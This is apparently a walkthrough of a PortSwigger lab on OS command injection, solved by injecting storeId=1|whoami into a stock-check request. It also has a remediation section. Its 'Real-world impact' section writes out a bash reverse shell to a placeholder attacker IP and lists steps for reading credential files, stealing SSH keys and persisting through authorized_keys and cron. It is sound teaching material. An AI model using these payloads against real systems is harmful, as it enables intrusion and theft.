PlatformPortSwigger Web Security Academy
TopicOS command injection
LabOS command injection, simple case
DifficultyApprentice
GoalExecute whoami to retrieve the current user
ToolsBurp Suite (Proxy + Repeater)

What is OS command injection?#

OS command injection (also called shell injection) happens when a web application passes user-controlled input into a system shell command without sanitizing it. If an attacker can inject shell metacharacters, they can append their own commands and have the server execute them, often with the privileges of the web application.

In this simple case, the application returns the command’s raw output in the HTTP response, so we can see the result directly (as opposed to blind injection, where the output isn’t reflected back).

Useful command separators to test with:

SeparatorBehavior
;Run the next command (Unix)
|Pipe output into the next command
& / &&Background / run-if-success
`cmd` / $(cmd)Command substitution (inline)
\nNewline as a command separator

The target feature#

The lab is a shop. Each product page has a “Check stock” feature that takes a product and a store location and returns how many units are available, a classic sign that the server is shelling out to some backend command.

Start by opening a product from the catalog:

The lab store. Open any product with "View details".
The lab store. Open any product with “View details”.

On the product page, the stock checker sits at the bottom: a store dropdown and a Check stock button.

The product page's "Check stock" feature, which shells out on the server.
The product page’s “Check stock” feature, which shells out on the server.

Using it normally returns a plain number of units:

A normal stock check returns a unit count (here, 62 units).
A normal stock check returns a unit count (here, 62 units).

Finding the injection point#

With Burp intercepting, the Check stock button fires a POST /product/stock request. The body carries two parameters:

productId=1&storeId=1
The POST /product/stock request in Burp: body parameters productId and storeId, with the response being just the raw stock number.
The POST /product/stock request in Burp: body parameters productId and storeId, with the response being just the raw stock number.

Because the response is the bare command output, both parameters are candidates: they are almost certainly concatenated into a shell command like stockreport.pl <productId> <storeId> on the server. I targeted storeId (the second, trailing argument), since injecting at the end of the command line is the least likely to break the command’s own syntax before our payload runs.

Exploitation#

Send the request to Repeater. We’ll inject with the | (pipe) operator, which feeds the output of the command on its left into the command on its right. Appending |whoami to storeId runs our whoami after the stock command and returns its output instead of the normal result:

productId=1&storeId=1|whoami

On the server, this turns the intended command into roughly:

stockreport.pl 1 1 | whoami

The pipe sends the (empty) output of the normal stockreport.pl call into whoami, so what comes back is purely the injected command’s output, clean and easy to read.

Injecting storeId=1|whoami: the response returns the output of whoami, confirming command execution and solving the lab.
Injecting storeId=1|whoami: the response returns the output of whoami, confirming command execution and solving the lab.

The response now contains the output of whoami instead of a stock count, proof that arbitrary commands run on the server. The lab is solved.

Real-world impact#

The lab only asks you to run whoami, but that proves arbitrary OS command execution. Echoing a username is a safe stand-in; the same injection point escalates fast in a real, authorized engagement, for example:

  • Interactive access — pipe a reverse shell back to your own box (a bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1 or nc one-liner) for a hands-on session instead of firing one command at a time.
  • Credential & key theft — read anything the web user can: /etc/passwd, application config and .env files, database credentials, cloud tokens, and SSH private keys such as ~/.ssh/id_rsa.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.

It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Don’t call the OS shell with user input. Prefer safe, purpose-built APIs over shelling out entirely.
  • If a system command is unavoidable, pass arguments as an array/argv (not a concatenated string) so the shell never interprets metacharacters.
  • Validate input against a strict allow-list (e.g. a known set of store IDs), and reject anything else. Never rely on blacklisting shell characters.

A concrete, generic example of the safe form, passing arguments as a list so no shell parses them:

# Unsafe: user input is concatenated into a shell string
os.system("stockreport.pl " + product_id + " " + store_id)

# Safe: arguments passed as a list, with no shell involved
subprocess.run(["stockreport.pl", product_id, store_id], shell=False)

With shell=False and an argument list, store_id is handed to the program as a single literal value, so a |whoami in it is just an odd store ID, not a command.

Key takeaways#

  • A feature that returns server-side data (stock, ping, file contents) is a strong hint the app is running a backend command, so test every such parameter.
  • Try each separator (;, |, &, &&, `, $(), newline); different shells and quoting contexts respond to different ones.
  • When output is reflected, whoami / id are quick, low-noise confirmations.